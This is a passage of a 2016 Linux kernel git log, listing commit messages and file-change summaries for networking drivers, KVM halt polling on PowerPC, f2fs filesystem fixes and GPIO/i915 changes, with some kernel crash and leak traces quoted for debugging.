msleep() while in this state machine (until reinit state) and instead reschedule for the required delay. o With these changes, the existing error recovery code for Lancer also runs in the context of the new worker thread. Signed-off-by: Sriharsha Basavapatna Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be.h | 68 ++++++- drivers/net/ethernet/emulex/benet/be_cmds.c | 53 ++++- drivers/net/ethernet/emulex/benet/be_cmds.h | 41 +++- drivers/net/ethernet/emulex/benet/be_ethtool.c | 40 ++++ drivers/net/ethernet/emulex/benet/be_hw.h | 7 +- drivers/net/ethernet/emulex/benet/be_main.c | 256 ++++++++++++++++++++++--- 6 files changed, 430 insertions(+), 35 deletions(-) commit dd0cb7dbb065f4acdd8d0597f122d0ed9e93f12e Author: Linus Walleij Date: Wed Sep 7 15:53:42 2016 +0200 net: smsc911x: request and deassert optional RESET GPIO On some systems (such as the Qualcomm APQ8060 Dragonboard) the RESET signal of the SMSC911x is not pulled up by a resistor (or the internal pull-up that will pull it up if the pin is not even connected) but instead connected to a GPIO line, so that the operating system must explicitly deassert RESET before use. Support this in the SMSC911x driver so this ethernet connector can be used on such targets. Notice that we request the line to go logical low (deassert) whilst the line on the actual component is active low. This is managed in the respective hardware description when specifying the GPIO line with e.g. device tree or ACPI. With device tree it looks like this in one case: reset-gpios = <&tlmm 30 GPIO_ACTIVE_LOW>; Which means that logically requesting the RESET line to be deasserted will result in the line being driven high, taking the device out of reset. Cc: Jeremy Linton Signed-off-by: Linus Walleij Reviewed-by: Jeremy Linton Signed-off-by: David S. Miller drivers/net/ethernet/smsc/smsc911x.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 216559d9032704a7a5d2fcd3c9c086dd9f7cd557 Author: Linus Walleij Date: Wed Sep 7 15:53:31 2016 +0200 net: smsc911x: augment device tree bindings This adds device tree bindings for: - An optional GPIO line for releasing the RESET signal to the SMSC911x devices - An optional PME (power management event) interrupt line that can be utilized to wake up the system on network activity. This signal exist on all the SMSC911x devices, it is just not very often routed. Both these lines are routed to the SoC on the Qualcomm APQ8060 Dragonboard and thus needs to be bound in the device tree. Cc: devicetree@vger.kernel.org Cc: Jeremy Linton Signed-off-by: Linus Walleij Acked-by: Arnd Bergmann Signed-off-by: David S. Miller Documentation/devicetree/bindings/net/smsc911x.txt | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) commit 2a27f514a47d39c50aaa5c07831ab35178955d47 Author: Suraj Jitindar Singh Date: Tue Aug 2 14:03:23 2016 +1000 KVM: PPC: Implement existing and add new halt polling vcpu stats vcpu stats are used to collect information about a vcpu which can be viewed in the debugfs. For example halt_attempted_poll and halt_successful_poll are used to keep track of the number of times the vcpu attempts to and successfully polls. These stats are currently not used on powerpc. Implement incrementation of the halt_attempted_poll and halt_successful_poll vcpu stats for powerpc. Since these stats are summed over all the vcpus for all running guests it doesn't matter which vcpu they are attributed to, thus we choose the current runner vcpu of the vcore. Also add new vcpu stats: halt_poll_success_ns, halt_poll_fail_ns and halt_wait_ns to be used to accumulate the total time spend polling successfully, polling unsuccessfully and waiting respectively, and halt_successful_wait to accumulate the number of times the vcpu waits. Given that halt_poll_success_ns, halt_poll_fail_ns and halt_wait_ns are expressed in nanoseconds it is necessary to represent these as 64-bit quantities, otherwise they would overflow after only about 4 seconds. Given that the total time spend either polling or waiting will be known and the number of times that each was done, it will be possible to determine the average poll and wait times. This will give the ability to tune the kvm module parameters based on the calculated average wait and poll times. Signed-off-by: Suraj Jitindar Singh Reviewed-by: David Matlack Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_host.h | 4 ++++ arch/powerpc/kvm/book3s.c | 4 ++++ arch/powerpc/kvm/book3s_hv.c | 36 +++++++++++++++++++++++++++++++----- 3 files changed, 39 insertions(+), 5 deletions(-) commit 8a7e75d47b68193339f8727cf4503271d0a0b1d0 Author: Suraj Jitindar Singh Date: Tue Aug 2 14:03:22 2016 +1000 KVM: Add provisioning for ulong vm stats and u64 vcpu stats vms and vcpus have statistics associated with them which can be viewed within the debugfs. Currently it is assumed within the vcpu_stat_get() and vm_stat_get() functions that all of these statistics are represented as u32s, however the next patch adds some u64 vcpu statistics. Change all vcpu statistics to u64 and modify vcpu_stat_get() accordingly. Since vcpu statistics are per vcpu, they will only be updated by a single vcpu at a time so this shouldn't present a problem on 32-bit machines which can't atomically increment 64-bit numbers. However vm statistics could potentially be updated by multiple vcpus from that vm at a time. To avoid the overhead of atomics make all vm statistics ulong such that they are 64-bit on 64-bit systems where they can be atomically incremented and are 32-bit on 32-bit systems which may not be able to atomically increment 64-bit numbers. Modify vm_stat_get() to expect ulongs. Signed-off-by: Suraj Jitindar Singh Reviewed-by: David Matlack Acked-by: Christian Borntraeger Signed-off-by: Paul Mackerras arch/arm/include/asm/kvm_host.h | 12 ++-- arch/arm64/include/asm/kvm_host.h | 12 ++-- arch/mips/include/asm/kvm_host.h | 46 ++++++------- arch/powerpc/include/asm/kvm_host.h | 60 ++++++++-------- arch/s390/include/asm/kvm_host.h | 134 ++++++++++++++++++------------------ arch/x86/include/asm/kvm_host.h | 72 +++++++++---------- virt/kvm/kvm_main.c | 4 +- 7 files changed, 170 insertions(+), 170 deletions(-) commit 0cda69dd7cd64fdd54bdf584b5d6ba53767ba422 Author: Suraj Jitindar Singh Date: Tue Aug 2 14:03:21 2016 +1000 KVM: PPC: Book3S HV: Implement halt polling This patch introduces new halt polling functionality into the kvm_hv kernel module. When a vcore is idle it will poll for some period of time before scheduling itself out. When all of the runnable vcpus on a vcore have ceded (and thus the vcore is idle) we schedule ourselves out to allow something else to run. In the event that we need to wake up very quickly (for example an interrupt arrives), we are required to wait until we get scheduled again. Implement halt polling so that when a vcore is idle, and before scheduling ourselves, we poll for vcpus in the runnable_threads list which have pending exceptions or which leave the ceded state. If we poll successfully then we can get back into the guest very quickly without ever scheduling ourselves, otherwise we schedule ourselves out as before. There exists generic halt_polling code in virt/kvm_main.c, however on powerpc the polling conditions are different to the generic case. It would be nice if we could just implement an arch specific kvm_check_block() function, but there is still other arch specific things which need to be done for kvm_hv (for example manipulating vcore states) which means that a separate implementation is the best option. Testing of this patch with a TCP round robin test between two guests with virtio network interfaces has found a decrease in round trip time of ~15us on average. A performance gain is only seen when going out of and back into the guest often and quickly, otherwise there is no net benefit from the polling. The polling interval is adjusted such that when we are often scheduled out for long periods of time it is reduced, and when we often poll successfully it is increased. The rate at which the polling interval increases or decreases, and the maximum polling interval, can be set through module parameters. Based on the implementation in the generic kvm module by Wanpeng Li and Paolo Bonzini, and on direction from Paul Mackerras. Signed-off-by: Suraj Jitindar Singh Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_book3s.h | 1 + arch/powerpc/include/asm/kvm_host.h | 1 + arch/powerpc/kvm/book3s_hv.c | 116 ++++++++++++++++++++++++++++++---- arch/powerpc/kvm/trace_hv.h | 22 +++++++ 4 files changed, 126 insertions(+), 14 deletions(-) commit 7b5f8272c792d49da73d98e9ca32f4cbb6d53808 Author: Suraj Jitindar Singh Date: Tue Aug 2 14:03:20 2016 +1000 KVM: PPC: Book3S HV: Change vcore element runnable_threads from linked-list to array The struct kvmppc_vcore is a structure used to store various information about a virtual core for a kvm guest. The runnable_threads element of the struct provides a list of all of the currently runnable vcpus on the core (those in the KVMPPC_VCPU_RUNNABLE state). The previous implementation of this list was a linked_list. The next patch requires that the list be able to be iterated over without holding the vcore lock. Reimplement the runnable_threads list in the kvmppc_vcore struct as an array. Implement function to iterate over valid entries in the array and update access sites accordingly. Signed-off-by: Suraj Jitindar Singh Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_book3s.h | 2 +- arch/powerpc/include/asm/kvm_host.h | 1 - arch/powerpc/kvm/book3s_hv.c | 68 +++++++++++++++++++++-------------- 3 files changed, 43 insertions(+), 28 deletions(-) commit e64fb7e272885c1ea3cd2f68f267ae12fa04c8b1 Author: Suraj Jitindar Singh Date: Tue Aug 2 14:03:19 2016 +1000 KVM: PPC: Book3S HV: Move struct kvmppc_vcore from kvm_host.h to kvm_book3s.h The next commit will introduce a member to the kvmppc_vcore struct which references MAX_SMT_THREADS which is defined in kvm_book3s_asm.h, however this file isn't included in kvm_host.h directly. Thus compiling for certain platforms such as pmac32_defconfig and ppc64e_defconfig with KVM fails due to MAX_SMT_THREADS not being defined. Move the struct kvmppc_vcore definition to kvm_book3s.h which explicitly includes kvm_book3s_asm.h. Signed-off-by: Suraj Jitindar Singh Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_book3s.h | 35 +++++++++++++++++++++++++++++++++++ arch/powerpc/include/asm/kvm_host.h | 35 ----------------------------------- 2 files changed, 35 insertions(+), 35 deletions(-) commit 68f313935fb205822ed1f923f7833639f3c78573 Author: Jaegeuk Kim Date: Tue Sep 6 13:31:56 2016 -0700 f2fs: no need to make zeros beyond i_size We don't need to make zeros beyond i_size, since we already wrote that through NEW_ADDR case. Reported-by: Al Viro Signed-off-by: Jaegeuk Kim fs/f2fs/data.c | 9 --------- 1 file changed, 9 deletions(-) commit 7732c26ac3925e2aebfa84e14673240201ddc9de Author: Chao Yu Date: Mon Sep 5 12:28:27 2016 +0800 f2fs: fix to detect temporary name of multimedia file Some applications may create multimeida file with temporary name like '*.jpg.tmp' or '*.mp4.tmp', then rename to '*.jpg' or '*.mp4'. Now, f2fs can only detect multimedia filename with specified format: "filename + '.' + extension", so it will make f2fs missing to detect multimedia file with special temporary name, result in failing to set cold flag on file. This patch enhances detection flow for enabling lookup extension in the middle of temporary filename. Reported-by: Xue Liu Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/namei.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit 6ab2a3085eb3c0ad58fa47f827921d05e9ad2e06 Author: Chao Yu Date: Mon Sep 5 12:28:26 2016 +0800 f2fs: fix minor typo Correct typo from 'destory' to 'destroy'. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/segment.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6bf6b267d27d381fd43d2ac6152fa25de716ceaa Author: Jaegeuk Kim Date: Wed Aug 31 16:20:37 2016 -0700 f2fs: set dentry bits on random location in memory This fixes pointer panic when using inline_dentry, which was triggered when backporting to 3.10. Signed-off-by: Jaegeuk Kim fs/f2fs/dir.c | 2 +- fs/f2fs/inline.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit c2a080aefa94c4b3dad35fbd9fa6cd0c8039b128 Author: Chao Yu Date: Wed Aug 31 10:43:19 2016 +0800 f2fs: fix to set superblock dirty correctly tests/generic/251 of fstest suit complains us with below message: ------------[ cut here ]------------ invalid opcode: 0000 [#1] PREEMPT SMP CPU: 2 PID: 7698 Comm: fstrim Tainted: G O 4.7.0+ #21 task: e9f4e000 task.stack: e7262000 EIP: 0060:[] EFLAGS: 00010202 CPU: 2 EIP is at write_checkpoint+0xfde/0x1020 [f2fs] EAX: f33eb300 EBX: eecac310 ECX: 00000001 EDX: ffff0001 ESI: eecac000 EDI: eecac5f0 EBP: e7263dec ESP: e7263d18 DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068 CR0: 80050033 CR2: b76ab01c CR3: 2eb89de0 CR4: 000406f0 Stack: 00000001 a220fb7b e9f4e000 00000002 419ff2d3 b3a05151 00000002 e9f4e5d8 e9f4e000 419ff2d3 b3a05151 eecac310 c10b8154 b3a05151 419ff2d3 c10b78bd e9f4e000 e9f4e000 e9f4e5d8 00000001 e9f4e000 ec409000 eecac2cc eecac288 Call Trace: [] ? __lock_acquire+0x3c4/0x760 [] ? mark_held_locks+0x5d/0x80 [] f2fs_trim_fs+0x1c2/0x2e0 [f2fs] [] f2fs_ioctl+0x6b6/0x10b0 [f2fs] [] ? __this_cpu_preempt_check+0xf/0x20 [] ? trace_hardirqs_off_caller+0x91/0x120 [] ? __exchange_data_block+0xd30/0xd30 [f2fs] [] do_vfs_ioctl+0x81/0x7f0 [] ? kmem_cache_free+0x245/0x2e0 [] ? get_unused_fd_flags+0x40/0x40 [] ? putname+0x4c/0x50 [] ? do_sys_open+0x16e/0x1d0 [] ? do_fast_syscall_32+0x30/0x1c0 [] ? __this_cpu_preempt_check+0xf/0x20 [] SyS_ioctl+0x58/0x80 [] do_fast_syscall_32+0xa1/0x1c0 [] sysenter_past_esp+0x45/0x74 EIP: [] write_checkpoint+0xfde/0x1020 [f2fs] SS:ESP 0068:e7263d18 ---[ end trace 4de95d7e6b3aa7c6 ]--- The reason is: with below call stack, we will encounter BUG_ON during doing fstrim. Thread A Thread B - write_checkpoint - do_checkpoint - f2fs_write_inode - update_inode_page - update_inode - set_page_dirty - f2fs_set_node_page_dirty - inc_page_count - percpu_counter_inc - set_sbi_flag(SBI_IS_DIRTY) - clear_sbi_flag(SBI_IS_DIRTY) Thread C Thread D - f2fs_write_node_page - set_node_addr - __set_nat_cache_dirty - nm_i->dirty_nat_cnt++ - do_vfs_ioctl - f2fs_ioctl - f2fs_trim_fs - write_checkpoint - f2fs_bug_on(nm_i->dirty_nat_cnt) Fix it by setting superblock dirty correctly in do_checkpoint and f2fs_write_node_page. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/checkpoint.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit e6f3f120827c8f2d0c9962f7ce3784b3e24230a3 Merge: 936f060 e0971c8 Author: David S. Miller Date: Wed Sep 7 17:47:00 2016 -0700 Merge branch 'qed-debug-data-collection' Tomer Tayar says: ==================== qed*: Debug data collection This patch series adds the support of debug data collection in the qed driver, and the means to extract it in the qede driver via the get_regs operation. Changes from V1: - Respin of the series after rebasing next-next. - Remove the first patch as it seems that its V1 version was already applied (commit '4102426f9b7b3627c8c23a54d70363e81c93f9b7'). ==================== Signed-off-by: David S. Miller commit e0971c832af4cd906ab931c9f6e9e1791a62fc98 Author: Tomer Tayar Date: Wed Sep 7 16:36:25 2016 +0300 qed*: Add support for the ethtool get_regs operation Signed-off-by: Tomer Tayar Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_main.c | 2 ++ drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 24 ++++++++++++++++++++++++ include/linux/qed/qed_if.h | 4 ++++ 3 files changed, 30 insertions(+) commit c965db44462919f613973aa618271f6c3f5a1e64 Author: Tomer Tayar Date: Wed Sep 7 16:36:24 2016 +0300 qed: Add support for debug data collection This patch adds the support for dumping and formatting the HW/FW debug data. Signed-off-by: Tomer Tayar Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/Makefile | 2 +- drivers/net/ethernet/qlogic/qed/qed.h | 20 + drivers/net/ethernet/qlogic/qed/qed_debug.c | 6898 ++++++++++++++++++++++++ drivers/net/ethernet/qlogic/qed/qed_debug.h | 54 + drivers/net/ethernet/qlogic/qed/qed_hsi.h | 1056 +++- drivers/net/ethernet/qlogic/qed/qed_main.c | 4 + drivers/net/ethernet/qlogic/qed/qed_reg_addr.h | 894 +++ include/linux/qed/common_hsi.h | 3 + 8 files changed, 8919 insertions(+), 12 deletions(-) commit 936f0600de541416ec8d82037e0e277538c9f945 Author: Oliver Neukum Date: Wed Sep 7 15:27:09 2016 +0200 kaweth: remove obsolete debugging statements SOme statements in the driver only served to inform which functions were entered. Ftrace can do that just as good without needing memory. Remove the statements. Signed-off-by: Oliver Neukum Signed-off-by: David S. Miller drivers/net/usb/kaweth.c | 15 --------------- 1 file changed, 15 deletions(-) commit 72e8d5fdf58b7d398b31612e63cc376f43c9da1b Author: Baoyou Xie Date: Wed Sep 7 19:07:00 2016 +0800 qed: add missing header dependencies We get 4 warnings when building kernel with W=1: drivers/net/ethernet/qlogic/qed/qed_selftest.c:6:5: warning: no previous prototype for 'qed_selftest_memory' [-Wmissing-prototypes] drivers/net/ethernet/qlogic/qed/qed_selftest.c:19:5: warning: no previous prototype for 'qed_selftest_interrupt' [-Wmissing-prototypes] drivers/net/ethernet/qlogic/qed/qed_selftest.c:32:5: warning: no previous prototype for 'qed_selftest_register' [-Wmissing-prototypes] drivers/net/ethernet/qlogic/qed/qed_selftest.c:55:5: warning: no previous prototype for 'qed_selftest_clock' [-Wmissing-prototypes] In fact, these functions are declared in qed_selftest.h, so this patch add missing header dependencies. Signed-off-by: Baoyou Xie Acked-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_selftest.c | 1 + 1 file changed, 1 insertion(+) commit f95bf346226b9b79352e05508beececc807cc37a Author: Lorenzo Colitti Date: Wed Sep 7 13:38:35 2016 +0900 net: diag: make udp_diag_destroy work for mapped addresses. udp_diag_destroy does look up the IPv4 UDP hashtable for mapped addresses, but it gets the IPv4 address to look up from the beginning of the IPv6 address instead of the end. Tested: https://android-review.googlesource.com/269874 Fixes: 5d77dca82839 ("net: diag: support SOCK_DESTROY for UDP sockets") Signed-off-by: Lorenzo Colitti Acked-by: Eric Dumazet Acked-by: David Ahern Signed-off-by: David S. Miller net/ipv4/udp_diag.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 733ade23de1b72c1f11c5e4a1a9020a6f48decd2 Author: Andrey Vagin Date: Tue Sep 6 21:31:17 2016 -0700 netlink: don't forget to release a rhashtable_iter structure This bug was detected by kmemleak: unreferenced object 0xffff8804269cc3c0 (size 64): comm "criu", pid 1042, jiffies 4294907360 (age 13.713s) hex dump (first 32 bytes): a0 32 cc 2c 04 88 ff ff 00 00 00 00 00 00 00 00 .2.,............ 00 01 00 00 00 00 ad de 00 02 00 00 00 00 ad de ................ backtrace: [] kmemleak_alloc+0x4a/0xa0 [] kmem_cache_alloc_trace+0x10f/0x280 [] __netlink_diag_dump+0x26c/0x290 [netlink_diag] v2: don't remove a reference on a rhashtable_iter structure to release it from netlink_diag_dump_done Cc: Herbert Xu Fixes: ad202074320c ("netlink: Use rhashtable walk interface in diag dump") Signed-off-by: Andrei Vagin Acked-by: Herbert Xu Signed-off-by: David S. Miller net/netlink/diag.c | 1 - 1 file changed, 1 deletion(-) commit e7ba108a06216dae89a64c0243560502276b92d8 Author: Shuoran Liu Date: Mon Aug 29 11:27:56 2016 +0800 f2fs: add roll-forward recovery process for encrypted dentry Add roll-forward recovery process for encrypted dentry, so the first fsync issued to an encrypted file does not need writing checkpoint. This improves the performance of the following test at thousands of small files: open -> write -> fsync -> close Signed-off-by: Shuoran Liu Acked-by: Chao Yu [Jaegeuk Kim: modify kernel message to show encrypted names] Signed-off-by: Jaegeuk Kim fs/f2fs/dir.c | 79 +++++++++++++++++++++++++++++++++--------------------- fs/f2fs/f2fs.h | 4 +++ fs/f2fs/file.c | 2 -- fs/f2fs/recovery.c | 23 +++++++++------- 4 files changed, 66 insertions(+), 42 deletions(-) commit bbf156f7afa7f3cc07177f1119878f6f60855fd1 Author: Jaegeuk Kim Date: Mon Aug 29 18:23:45 2016 -0700 f2fs: fix lost xattrs of directories This patch enhances the xattr consistency of dirs from suddern power-cuts. Possible scenario would be: 1. dir->setxattr used by per-file encryption 2. file->setxattr goes into inline_xattr 3. file->fsync In that case, we should do checkpoint for #1. Otherwise we'd lose dir's key information for the file given #2. Signed-off-by: Jaegeuk Kim fs/f2fs/checkpoint.c | 1 + fs/f2fs/f2fs.h | 1 + fs/f2fs/file.c | 2 ++ fs/f2fs/xattr.c | 2 ++ 4 files changed, 6 insertions(+) commit 275b66b09e85cf0520dc610dd89706952751a473 Author: Chao Yu Date: Mon Aug 29 23:58:34 2016 +0800 f2fs: support async discard Like most filesystems, f2fs will issue discard command synchronously, so when user trigger fstrim through ioctl, multiple discard commands will be issued serially with sync mode, which makes poor performance. In this patch we try to support async discard, so that all discard commands can be issued and be waited for endio in batch to improve performance. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/checkpoint.c | 3 ++ fs/f2fs/f2fs.h | 9 ++++++ fs/f2fs/recovery.c | 2 ++ fs/f2fs/segment.c | 87 ++++++++++++++++++++++++++++++++++++++++++++++++++-- 4 files changed, 99 insertions(+), 2 deletions(-) commit 167451efb53c7999fb72591c46f29de09cd8f8b0 Author: Shuoran Liu Date: Mon Aug 29 11:27:55 2016 +0800 f2fs: set encryption name flag in add inline entry path This patch sets encryption name flag in the add inline entry path if filename is encrypted. Signed-off-by: Shuoran Liu Signed-off-by: Jaegeuk Kim fs/f2fs/inline.c | 2 ++ 1 file changed, 2 insertions(+) commit e06f86e61d7a67fe6e826010f57aa39c674f4b1b Author: Chao Yu Date: Sun Aug 28 22:00:12 2016 +0800 f2fs crypto: avoid unneeded memory allocation in ->readdir When decrypting dirents in ->readdir, fscrypt_fname_disk_to_usr won't change content of original encrypted dirent, we don't need to allocate additional buffer for storing mirror of it, so get rid of it. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/dir.c | 7 ------- 1 file changed, 7 deletions(-) commit 9421d57051c534c7477f98d0576b876237fbbc4c Author: Chao Yu Date: Sun Aug 28 18:57:55 2016 +0800 f2fs: fix to do security initialization of encrypted inode with original filename When creating new inode, security_inode_init_security will be called for initializing security info related to the inode, and filename is passed to security module, it helps security module such as SElinux to know which rule or label could be applied for the inode with specified name. Previously, if new inode is created as an encrypted one, f2fs will transfer encrypted filename to security module which may fail the check of security policy belong to the inode. So in order to this issue, alter to transfer original unencrypted filename instead. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/dir.c | 21 +++++++++++++-------- fs/f2fs/f2fs.h | 8 ++++---- fs/f2fs/inline.c | 17 +++++++++-------- 3 files changed, 26 insertions(+), 20 deletions(-) commit 7ea984b0604ac37e806ddc34baf950230bfdaadd Author: Chao Yu Date: Sat Aug 27 00:14:31 2016 +0800 f2fs: do in batch synchronously readahead during GC In order to enhance performance, we try to readahead node page during GC, but before loading node page we should get block address of node page which is stored in NAT table, so synchronously read of single NAT page block our readahead flow. f2fs_submit_page_bio: dev = (251,0), ino = 2, page_index = 0xa1e, oldaddr = 0xa1e, newaddr = 0xa1e, rw = READ_SYNC(MP), type = META f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x35e9, oldaddr = 0x72d7a, newaddr = 0x72d7a, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 2, page_index = 0xc1f, oldaddr = 0xc1f, newaddr = 0xc1f, rw = READ_SYNC(MP), type = META f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x389d, oldaddr = 0x72d7d, newaddr = 0x72d7d, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x3a82, oldaddr = 0x72d7f, newaddr = 0x72d7f, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x3bfa, oldaddr = 0x72d86, newaddr = 0x72d86, rw = READAHEAD ^H, type = NODE This patch adds one phase that do readahead NAT pages in batch before readahead node page for more effeciently. f2fs_submit_page_bio: dev = (251,0), ino = 2, page_index = 0x1952, oldaddr = 0x1952, newaddr = 0x1952, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc34, oldaddr = 0xc34, newaddr = 0xc34, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xa33, oldaddr = 0xa33, newaddr = 0xa33, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc30, oldaddr = 0xc30, newaddr = 0xc30, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc32, oldaddr = 0xc32, newaddr = 0xc32, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc26, oldaddr = 0xc26, newaddr = 0xc26, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xa2b, oldaddr = 0xa2b, newaddr = 0xa2b, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc23, oldaddr = 0xc23, newaddr = 0xc23, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc24, oldaddr = 0xc24, newaddr = 0xc24, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xa10, oldaddr = 0xa10, newaddr = 0xa10, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc2c, oldaddr = 0xc2c, newaddr = 0xc2c, rw = READ_SYNC(MP), type = META f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x5db7, oldaddr = 0x6be00, newaddr = 0x6be00, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x5db9, oldaddr = 0x6be17, newaddr = 0x6be17, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x5dbc, oldaddr = 0x6be1a, newaddr = 0x6be1a, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x5dc3, oldaddr = 0x6be20, newaddr = 0x6be20, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x5dc7, oldaddr = 0x6be24, newaddr = 0x6be24, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x5dc9, oldaddr = 0x6be25, newaddr = 0x6be25, rw = READAHEAD ^H, type = NODE Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/gc.c | 33 +++++++++++++++++++++++---------- 1 file changed, 23 insertions(+), 10 deletions(-) commit 74fa5f3d43bca87257e9da7da95be8735ffa2b96 Author: Chao Yu Date: Sun Aug 21 23:21:30 2016 +0800 f2fs: schedule in between two continous batch discards In batch discard approach of fstrim will grab/release gc_mutex lock repeatly, it makes contention of the lock becoming more intensive. So after one batch discards were issued in checkpoint and the lock was released, it's better to do schedule() to increase opportunity of grabbing gc_mutex lock for other competitors. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/segment.c | 2 ++ 1 file changed, 2 insertions(+) commit 457b4139d431ed197851461c363a0470aed66fc8 Merge: 9103e04 5a42976 Author: David S. Miller Date: Wed Sep 7 17:21:56 2016 -0700 Merge tag 'rxrpc-rewrite-20160907-2' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Local abort tracepoint Here are two patches. They need to be applied on top of the just-posted call refcount overhaul patch: (1) Fix the return value of some call completion helpers. (2) Add a tracepoint that allows local aborts to be debugged. ==================== Signed-off-by: David S. Miller commit 9103e04be8832e39cb0fe1e92852e272463e838d Merge: cf86799 8d94aa3 Author: David S. Miller Date: Wed Sep 7 17:20:23 2016 -0700 Merge tag 'rxrpc-rewrite-20160907-1' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Overhaul call refcounting Here's a set of mostly small patches leading up to one big one. The big patch at the end of the series overhauls how rxrpc_call refcounting is handled, making it more sane so that calls bound to user IDs are _only_ released from socket operations or kernel API functions. Further, the patch stops calls from holding refs on their parent socket - which can prevent the socket from being cleaned up. The second largest patch improves the call tracking tracepoint by providing extra information about the situation in which gets and puts occur. This allows distinctions to be drawn between refs held by the socket user ID tree, refs held by the work queue (to be implemented by a future patch) and other refs. The other patches include a couple of cleanups and some simple alterations to avoid NULL pointer dereferences in the big patch. ==================== Signed-off-by: David S. Miller commit 5d2f1d6ef9de5edfea04ffad47703a28bfa21690 Author: Simon Horman Date: Tue Sep 6 12:35:39 2016 +0200 gpio: rcar: Add r8a7796 (R-Car M3-W) support R-Car Gen3's GPIO blocks are identical to Gen2's in every respect. Based on work for the r8a7795 (R-Car H3) by Ulrich Hecht. Cc: Ulrich Hecht Signed-off-by: Simon Horman Reviewed-by: Geert Uytterhoeven Reviewed-by: Laurent Pinchart Tested-by: Laurent Pinchart Signed-off-by: Linus Walleij Documentation/devicetree/bindings/gpio/renesas,gpio-rcar.txt | 1 + drivers/gpio/gpio-rcar.c | 4 ++++ 2 files changed, 5 insertions(+) commit f25fe36d0d0f8c3b951d53e0f22381d850112916 Author: Baruch Siach Date: Mon Sep 5 22:00:10 2016 +0300 gpio: mrvl: dt-binding: remove orion-gpio description The Orion GPIO controller binding description in mrvl-gpio.txt is obsolete, and duplicates the description in gpio-mvebu.txt. Signed-off-by: Baruch Siach Reviewed-by: Andrew Lunn Signed-off-by: Linus Walleij .../devicetree/bindings/gpio/mrvl-gpio.txt | 23 ---------------------- 1 file changed, 23 deletions(-) commit 66cd89df8c043cc3a1a3d28c0a73f7c733935898 Author: Milo Kim Date: Wed Aug 31 17:25:19 2016 +0900 pinctrl: sunxi: Remove unsupported PWM channel pinmux in H3 H3 has single PWM channel. The second PWM channel is not supported, so the pinctrl function should be removed. Signed-off-by: Milo Kim Acked-by: Chen-Yu Tsai Signed-off-by: Linus Walleij drivers/pinctrl/sunxi/pinctrl-sun8i-h3.c | 1 - 1 file changed, 1 deletion(-) commit 3d810fbedec403a8c0ac54fd6a08586ab08831d7 Author: Carlos Santa Date: Wed Aug 17 12:30:57 2016 -0700 drm/i915: Move HAS_GUC definition to platform definition Moving all GPU features to the platform definition allows for - standard place when adding new features from new platform - possible to see supported features when dumping struct definitions Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 3 ++- drivers/gpu/drm/i915/i915_pci.c | 5 +++++ 2 files changed, 7 insertions(+), 1 